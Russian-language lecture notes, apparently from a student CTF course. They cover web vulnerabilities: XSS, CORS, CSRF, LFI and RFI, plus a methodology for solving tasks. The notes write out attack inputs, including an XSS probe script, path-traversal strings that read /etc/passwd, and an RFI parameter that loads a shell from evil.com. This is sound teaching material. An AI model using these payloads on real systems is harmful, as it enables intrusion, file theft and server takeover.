К списку уроков

Урок 5. Web Amateur

Онлайн и в Б-835, 6 ноября (четверг), 15:30

Веб для любителей! Второе занятие по самой популярной категории задач в CTF, посложнее.

🎥 Видеозапись этого урока, к сожалению, утеряна. Предлагаем посмотреть видеозапись этого же урока в прошлогоднем курсе в Telegram-канале, тред "Записи".

1. Введение: Где живет уязвимость? (DOM & BOM)

Чтобы понимать, как атаковать пользователей, нужно понимать среду, в которой исполняется JavaScript.

DOM (Document Object Model)

Проще говоря, DOM — это представление HTML-страницы в виде объекта, понятного для JavaScript. Это позволяет скриптам изменять содержимое страницы, стили и структуру "на лету".

  • Структура: Древовидная (html -> body -> div).

BOM (Browser Object Model)

Это объектная модель для управления самим браузером, а не содержимым страницы. Она хранит историю, информацию о экране, навигаторе и адресе.

  • Пример атаки: Использование window.location.href для принудительного редиректа пользователя на вредоносный сайт.

Важно: И DOM, и BOM хранятся и исполняются в браузере клиента.

2. XSS (Cross-Site Scripting)

XSS — это инъекция JavaScript-кода на страницу жертвы. Цель: выполнить произвольный код в браузере пользователя (украсть куки, перенаправить, выполнить действия от имени жертвы).

Разделяют три основных вида:

1. Stored XSS (Хранимая)

Самая опасная.

  • Механизм: Хакер отправляет скрипт на сервер (например, в комментарии или профиле), и сервер сохраняет его.

  • Результат: Любой пользователь, открывший зараженную страницу, автоматически выполнит вредоносный скрипт.

2. Reflected XSS (Отраженная)

Классика фишинга.

  • Механизм: Скрипт передается в параметрах URL (например, в поиске), сервер не сохраняет его, а сразу отображает ("отражает") обратно в ответе.

  • Вектор: Злоумышленник кидает жертве специально сформированную ссылку. Жертва переходит — скрипт выполняется.

3. DOM-based XSS

  • Механизм: Атака происходит исключительно на клиенте. Вредоносный код изменяет DOM-окружение жертвы (источник -> приемник), сервер может даже не видеть этого в логах.

  • Пример: Кража данных через document.cookie.

3. Сетевое взаимодействие: CORS и CSRF

CORS (Cross-Origin Resource Sharing)

Браузеры по умолчанию запрещают одному сайту читать данные с другого (Same-Origin Policy).

  • Суть: CORS — это механизм, который разрешает загружать ресурсы с других доменов.

  • Как работает: Сервер отдает заголовок Access-Control-Allow-Origin: domain.com. Если сервер настроен неверно (например, разрешает всем *), это дыра в безопасности.

CSRF (Cross-Site Request Forgery)

Подделка межсайтовых запросов. Часто используется, если не получается найти XSS, но нужно выполнить действие от имени админа.

  • Суть: Заставить браузер жертвы выполнить нежелательное действие на сайте, где жертва залогинена.

  • Сценарий: Вы поднимаете свой сервер/страницу, похожую на легитимную, и заманиваете туда жертву. При переходе скрытый скрипт отправляет запрос на целевой сайт (например, "сменить пароль"), используя активную сессию жертвы.

4. Файловые включения (LFI & RFI)

Уязвимости, возникающие из-за того, что сервер доверяет пользовательскому вводу при работе с файлами.

LFI (Local File Inclusion)

  • Описание: Позволяет злоумышленнику читать файлы, которые находятся локально на сервере.

  • Вектор: Обычно через GET-параметры (например, ?page=../../etc/passwd).

  • Цель: Чтение конфигурационных файлов, /etc/passwd, исходного кода сайта.

RFI (Remote File Inclusion)

  • Описание: Позволяет заставить сервер скачать и выполнить файл с удаленного (вашего) сервера.

  • Вектор: Передача URL в параметре: ?page=http://evil.com/shell.php.

  • Результат: Полный захват сервера (RCE — Remote Code Execution).

5. Методология решения задач (Web Amateur)

  1. Исследуйте ввод

    • Попробуйте ввести <script>alert(1)</script> во все поля ввода. Если выскочило окошко — это Reflected/Stored XSS.

    • Проверьте URL. Если видите ?page=about.html или ?file=contact, попробуйте поменять на ?page=/etc/passwd (Linux) или ?page=c:\windows\win.ini (Windows). Это тест на LFI.

  2. Анализируйте код (Source Code)

    • Нажмите Ctrl+U. Ищите, где ваш ввод попадает в JS-код. Если ввод попадает в eval(), innerHTML или document.write — ищите DOM XSS.

  3. Работа с заголовками

    • Смотрите в DevTools (Network). Если видите заголовки Access-Control-Allow-Origin, проверьте настройки CORS.

  4. Связка CSRF + XSS

    • Иногда, чтобы украсть куки админа, нужно создать страницу-ловушку (CSRF), которая эксплуатирует XSS на сайте админки.

6. Полезные материалы

  • PortSwigger (Web Security Academy):

    • Раздел XSS (Cross-site scripting) — лучшая теория и практика.

    • Раздел CSRF и CORS.

  • OWASP Cheat Sheets:

    • LFI/RFI Cheat Sheet — списки пейлоадов для включения файлов.

  • PayloadsAllTheThings (GitHub): Огромный сборник готовых векторов атак для XSS и LFI.

Задания